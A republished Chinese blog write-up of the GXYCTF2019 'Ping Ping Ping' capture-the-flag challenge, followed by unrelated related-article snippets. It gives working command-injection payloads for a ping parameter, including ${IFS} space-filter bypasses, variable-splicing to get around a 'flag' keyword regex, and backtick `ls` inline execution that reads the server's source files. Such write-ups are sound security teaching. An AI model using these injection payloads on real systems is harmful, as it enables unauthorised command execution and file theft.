[GXYCTF2019]Ping Ping Ping wp - fish666

news/2025/11/11 15:38:17/文章来源:https://www.cnblogs.com/fish666-wu/p/19210533

[GXYCTF2019]Ping Ping Ping wp

命令注入漏洞

空格绕过

内联命令读取

image-20251111150335092

image-20251111150409210

存在命令注入漏洞

“fxck” 是脏话 “fuck” 的刻意拼写变形,攻击性极强

image-20251111145331968

这个表明,空格被过滤。

那么就要想,怎样绕过???

空格 可以用

   空格${IFS}${IFS}$9$IFS$1    绕过    可以逐个试试哪个管用

image-20251111150052270

现在表明flag也被过滤了

但,刚刚出现,产生flag.php index.php 可以都试一下

image-20251111150238952

发现很多符号都被绕过了

   preg_match("/.*f.*l.*a.*g.*/", $ip)意思是:如果$ip中包含f、l、a、g这四个字母(不管顺序和中间插什么字符),就输出 fxck your flag! 并终止程序。

这个表明,我们不能直接输入flag进行文件读取,但可以使用变量赋值的方式

  ?ip=127.0.0.1;X=g;cat$IFS$1fla$X.php

查看页面源代码

image-20251111151402026

  以下payload也可行:?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php?ip=127.0.0.1;X=la;cat$IFS$9`ls`        //内联执行配合空格绕过但以下payload不可行:?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析

反引号 ls 是内联命令,会先执行 ls 并将结果作为参数传给 cat,最终效果是 “读取 ls 命令列出的文件内容”。

   `ls`
   ?ip=127.0.0.1;cat$IFS`ls`

查看页面源代码 获取源代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/962496.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年 11 月码垛机厂家推荐排行榜,全自动/高位/低位/立柱/编织袋/纸箱/桶/粉料/肥料码垛机,江苏/无锡码垛机器人实力解析

2025 年 11 月码垛机厂家推荐排行榜,全自动/高位/低位/立柱/编织袋/纸箱/桶/粉料/肥料码垛机,江苏/无锡码垛机器人实力解析随着工业自动化水平的不断提升,码垛机作为生产线末端的关键设备,在提高生产效率、降低人力…

2025年西瓜专用膜厂家权威推荐榜单:水果专用膜/长寿流滴膜/灌浆膜源头厂家精选

在设施农业高速发展的今天,西瓜专用膜已成为提升西瓜品质与产量的关键因素。据行业数据显示,2024年中国功能性农膜市场规模已突破200亿元,其中专用功能膜的需求正快速增长。为帮助种植户精准选择优质供应商,本文基…

2025 年 11 月包装称厂家权威推荐榜:全自动/定量/FFS重膜/高速/锂电/零排放/螺旋/吨袋包装称,铜精粉与肥料吨包高效解决方案

2025 年 11 月包装称厂家权威推荐榜:全自动/定量/FFS重膜/高速/锂电/零排放/螺旋/吨袋包装称,铜精粉与肥料吨包高效解决方案 随着工业自动化水平的不断提升,包装称作为生产线上的关键设备,在提高生产效率、保障产品…

基于MATLAB图像特征识别及提取实现图像分类

在MATLAB中实现图像特征提取与图像分类通常涉及以下几个步骤:图像读取、预处理、特征提取、特征选择、分类器训练和测试。 1.图像读取 首先,你需要读取图像数据。可以使用MATLAB的imread函数来读取图像。 img = imre…

Strix:用AI做渗透测试,把安全漏洞扼杀在开发阶段

你的应用真的安全吗?传统安全扫描工具给你一堆"可能存在的漏洞",但哪些是真的? Strix是一个开源的AI安全测试工具,它不只是扫描代码找问题,而是像真正的黑客一样——运行你的程序、尝试攻击、验证漏洞是…

无限长直导线周围电场分布的MATLAB

针对无限长直导线周围电场分布的MATLAB程序实现,结合解析法、镜像电荷法及PDE数值解法三种方法一、解析法(直接公式计算) 理论基础: 无限长直导线电势公式: \(ϕ(r)=−2πε0λln(r)+C\) 电场强度公式: \(E(r)=2…

Codeforces Round 1063 (Div.2) 题解

赛时分析 Solved 3/6 rank 875。AB做的正常,C略慢。想直接跳D2,但是D2用到了D1的一个性质,其实不如直接先做D1就是大分了... 比赛链接:https://codeforces.com/contest/2163 A 直接sort,如果每个偶数i时,$ a_i = …

SI502、SI502B——NFC前端芯片

小体积QFN16的Si502、Si502B均为高度集成的NFC前端芯片,工作频率为13.56MHz,支持多种主动/被动非接触式通信协议(ISO 14443 A/B、Felica、NFCIP-1)。芯片均具备5种工作模式:读写器模式、卡模拟模式、NFCIP-1模式和…

1-2-3-泛型与反射

全面总结Java泛型与反射的面试要点,涵盖机制、底层原理和应用场景。主要内容如下:泛型核心概念与机制:介绍泛型的作用、类型擦除原理和通配符系统,使用表格对比通配符类型。 反射机制与原理:详细说明反射的基础、…

读书笔记:白话解读:Oracle并行加载与空间管理的艺术

我们的文章会在微信公众号IT民工的龙马人生和博客网站( www.htz.pw )同步更新 ,欢迎关注收藏,也欢迎大家转载,但是请在文章开始地方标注文章出处,谢谢! 由于博客中有大量代码,通过页面浏览效果更佳。本文为个人学…

1-2-4-集合框架

Java集合框架是面试中的重点考察领域。下面我为你梳理一份涵盖机制、底层原理与应用场景的全面总结,并附上典型面试问题深度解析。 一、集合框架总体概述 Java集合框架(Java Collections Framework)提供了一套性能优…

1-3-1-知识图谱

Java并发编程的知识体系确实庞大且环环相扣。下面我为你梳理一个结构清晰的知识图谱,并附上核心要点和面试考察方向,希望能帮助你系统性地复习和准备。 🧠 Java并发编程知识图谱:从理论到实战 📚 1. 并发基础与…

USB --- PD协商

USB PD 从机(Sink)的状态机流程(SNK_STARTUP→DISCOVERY→...→SNK_READY)是从机(Sink)主动发起并主导,配合主机(Source)响应完成的协商过程,每个状态的切换由特定消息交互或超时机制触发。以下是各步骤的详…

T690363 促销活动

使用分块与维护下凸壳解决问题。考虑分块,然后拆贡献。对于所有散块我们直接暴力重构后操作/查询。对于整块的 1 操作,我们考虑打一个标记 \(T_x\),那么之后的查询块 \(x\) 就相当于查询 \[\max((p_i+T_x)q_i)=\max…

1-3-2-线程生命周期与状态转换

提示词: 请你作为一位资深Java技术面试官兼职业导师,专注于帮助用户系统性地准备Java资深开发和架构师岗位的面试。你应具备深厚的技术底蕴、广泛的知识视野(涵盖从基础到高阶、从单体到分布式的一切相关内容)和丰…

1-2-2-异常体系

Java异常体系是面试中的核心考察点,下面我将从机制原理、应用场景和避坑指南三个方面,为你梳理一份全面的面试要点总结。面试要点维度 关键内容核心体系结构 Throwable > Error / Exception > Checked Excepti…

1-5-1-设计模式与OOP

理解23种设计模式如何体现面向对象(OOP)思想,能帮助我们在设计和编码时更好地运用这些模式。下面我将这些设计模式按类型分类,并说明它们如何体现了OOP的核心理念。 一、设计模式及其OOP思想 下面是23种设计模式及…

1-6-0-总纲

以下是网络编程和I/O模型领域的核心知识原理及面试常见考点的详细总结。我将从网络基础、核心协议、Socket编程、I/O模型到高并发设计逐步展开,并穿插面试高频问题与解答思路。一、网络基础与分层模型 1. 核心分层模型…

1-6-2-网络协议基础

一、基础知识 以下是网络编程和I/O模型领域的核心知识原理及面试常见考点的详细总结。我将从网络基础、核心协议、Socket编程、I/O模型到高并发设计逐步展开,并穿插面试高频问题与解答思路。1、网络基础与分层模型 1.…